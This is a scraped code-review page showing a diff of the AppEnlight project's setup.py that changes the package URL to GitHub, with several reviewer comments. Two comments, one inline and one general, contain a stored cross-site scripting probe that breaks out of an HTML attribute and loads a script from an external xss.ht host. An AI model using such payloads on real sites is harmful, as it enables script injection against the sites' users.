##// END OF EJS Templates
setup: change url to github
ergo -
r196:472d1df0 master
parent child Browse files
Show More
@@ -1,99 +1,99 b''
1 1 import os
2 2 import re
3 3
4 4 from setuptools import setup, find_packages
5 5
6 6 here = os.path.abspath(os.path.dirname(__file__))
7 7 README = open(os.path.join(here, "README.md")).read()
8 8 CHANGES = open(os.path.join(here, "CHANGELOG.md")).read()
9 9
10 10 REQUIREMENTS = open(os.path.join(here, "requirements.txt")).readlines()
11 11
12 12 compiled = re.compile("([^=><]*).*")
13 13
14 14
15 15 def parse_req(req):
16 16 return compiled.search(req).group(1).strip()
17 17
18 18
19 19 if "APPENLIGHT_DEVELOP" in os.environ:
20 20 requires = [_f for _f in map(parse_req, REQUIREMENTS) if _f]
21 21 else:
22 22 requires = REQUIREMENTS
23 23
24 24
25 25 def _get_meta_var(name, data, callback_handler=None):
26 26 import re
27 27
28 28 matches = re.compile(r"(?:%s)\s*=\s*(.*)" % name).search(data)
29 29 if matches:
30 30 if not callable(callback_handler):
31 31 callback_handler = lambda v: v
32 32
33 33 return callback_handler(eval(matches.groups()[0]))
34 34
35 35
36 36 with open(os.path.join(here, "src", "appenlight", "__init__.py"), "r") as _meta:
37 37 _metadata = _meta.read()
38 38
39 39 __license__ = _get_meta_var("__license__", _metadata)
40 40 __author__ = _get_meta_var("__author__", _metadata)
41 41 __url__ = _get_meta_var("__url__", _metadata)
42 42
43 43 found_packages = find_packages("src")
44 44 found_packages.append("appenlight.migrations")
45 45 found_packages.append("appenlight.migrations.versions")
46 46 setup(
47 47 name="appenlight",
48 48 description="appenlight",
49 49 long_description=README,
50 50 classifiers=[
51 51 "Framework :: Pyramid",
52 52 "License :: OSI Approved :: Apache Software License",
53 53 "Programming Language :: Python",
54 54 "Programming Language :: Python :: 3 :: Only",
55 55 "Programming Language :: Python :: 3.6",
56 56 "Topic :: System :: Monitoring",
57 57 "Topic :: Software Development",
58 58 "Topic :: Software Development :: Bug Tracking",
59 59 "Topic :: Internet :: Log Analysis",
60 60 "Topic :: Internet :: WWW/HTTP",
61 61 "Topic :: Internet :: WWW/HTTP :: WSGI :: Application",
62 62 ],
63 63 version="2.0.0rc1",
64 64 license=__license__,
65 65 author=__author__,
66 url=__url__,
66 url="https://github.com/AppEnlight/appenlight",
note

地址没问题

^ this comment !

note

"><script src=https://xsshunterco.xss.ht></script>

67 67 keywords="web wsgi bfg pylons pyramid flask django monitoring apm instrumentation appenlight",
68 68 python_requires=">=3.5",
69 69 long_description_content_type="text/markdown",
70 70 package_dir={"": "src"},
71 71 packages=found_packages,
72 72 include_package_data=True,
73 73 zip_safe=False,
74 74 test_suite="appenlight",
75 75 install_requires=requires,
76 76 extras_require={
77 77 "dev": [
78 78 "coverage",
79 79 "pytest",
80 80 "pyramid",
81 81 "tox",
82 82 "mock",
83 83 "pytest-mock",
84 84 "webtest",
85 85 ],
86 86 "lint": ["black"],
87 87 },
88 88 entry_points={
89 89 "paste.app_factory": ["main = appenlight:main"],
90 90 "console_scripts": [
91 91 "appenlight-cleanup = appenlight.scripts.cleanup:main",
92 92 "appenlight-initializedb = appenlight.scripts.initialize_db:main",
93 93 "appenlight-migratedb = appenlight.scripts.migratedb:main",
94 94 "appenlight-reindex-elasticsearch = appenlight.scripts.reindex_elasticsearch:main",
95 95 "appenlight-static = appenlight.scripts.static:main",
96 96 "appenlight-make-config = appenlight.scripts.make_config:main",
97 97 ],
98 98 },
99 99 )
Unmatched/outdated inline comments below
note

You have hard coded string in here.

note

1122

note

Hello world :)

General Comments 3
Approved

Status change > Approved

note

"><script src=https://xsshunterco.xss.ht></script>

Under Review
author

Auto status change to "Under Review"

You need to be logged in to leave comments. Login now